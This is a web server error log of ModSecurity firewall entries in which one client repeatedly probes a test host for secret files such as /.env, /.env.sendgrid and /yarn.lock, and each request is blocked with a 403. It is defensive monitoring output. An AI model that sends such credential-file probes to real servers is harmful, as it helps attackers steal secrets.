[Thu Feb 26 01:03:26.053841 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRQAAAAM&quot;]
[Thu Feb 26 01:03:26.053980 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRQAAAAM&quot;]
[Thu Feb 26 01:03:26.075763 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www-data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLgAAAAU&quot;]
[Thu Feb 26 01:03:26.075970 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLgAAAAU&quot;]
[Thu Feb 26 01:03:26.076132 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLgAAAAU&quot;]
[Thu Feb 26 01:03:26.086335 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8081/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRgAAAAM&quot;]
[Thu Feb 26 01:03:26.086573 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRgAAAAM&quot;]
[Thu Feb 26 01:03:26.086710 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8081/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRgAAAAM&quot;]
[Thu Feb 26 01:03:26.122494 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRwAAAAM&quot;]
[Thu Feb 26 01:03:26.122710 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRwAAAAM&quot;]
[Thu Feb 26 01:03:26.122853 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8443/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRwAAAAM&quot;]
[Thu Feb 26 01:03:26.134853 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xx-final/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMAAAAAU&quot;]
[Thu Feb 26 01:03:26.135078 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMAAAAAU&quot;]
[Thu Feb 26 01:03:26.135229 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMAAAAAU&quot;]
[Thu Feb 26 01:03:26.156782 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sendgrid_email/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSAAAAAM&quot;]
[Thu Feb 26 01:03:26.156993 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSAAAAAM&quot;]
[Thu Feb 26 01:03:26.157161 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid_email/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSAAAAAM&quot;]
[Thu Feb 26 01:03:26.168822 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMQAAAAU&quot;]
[Thu Feb 26 01:03:26.169033 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMQAAAAU&quot;]
[Thu Feb 26 01:03:26.169177 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMQAAAAU&quot;]
[Thu Feb 26 01:03:26.195866 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSQAAAAM&quot;]
[Thu Feb 26 01:03:26.196080 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSQAAAAM&quot;]
[Thu Feb 26 01:03:26.196228 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElSQAAAAM&quot;]
[Thu Feb 26 01:03:26.207155 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /zmusic-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMgAAAAU&quot;]
[Thu Feb 26 01:03:26.207366 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMgAAAAU&quot;]
[Thu Feb 26 01:03:26.207538 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMgAAAAU&quot;]
[Thu Feb 26 01:03:26.235829 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMwAAAAU&quot;]
[Thu Feb 26 01:03:26.236064 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMwAAAAU&quot;]
[Thu Feb 26 01:03:26.236226 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QMwAAAAU&quot;]
[Thu Feb 26 01:03:26.268838 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:80/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNAAAAAU&quot;]
[Thu Feb 26 01:03:26.269069 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNAAAAAU&quot;]
[Thu Feb 26 01:03:26.269235 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNAAAAAU&quot;]
[Thu Feb 26 01:03:26.317222 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8080/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QNQAAAAU&quot;]
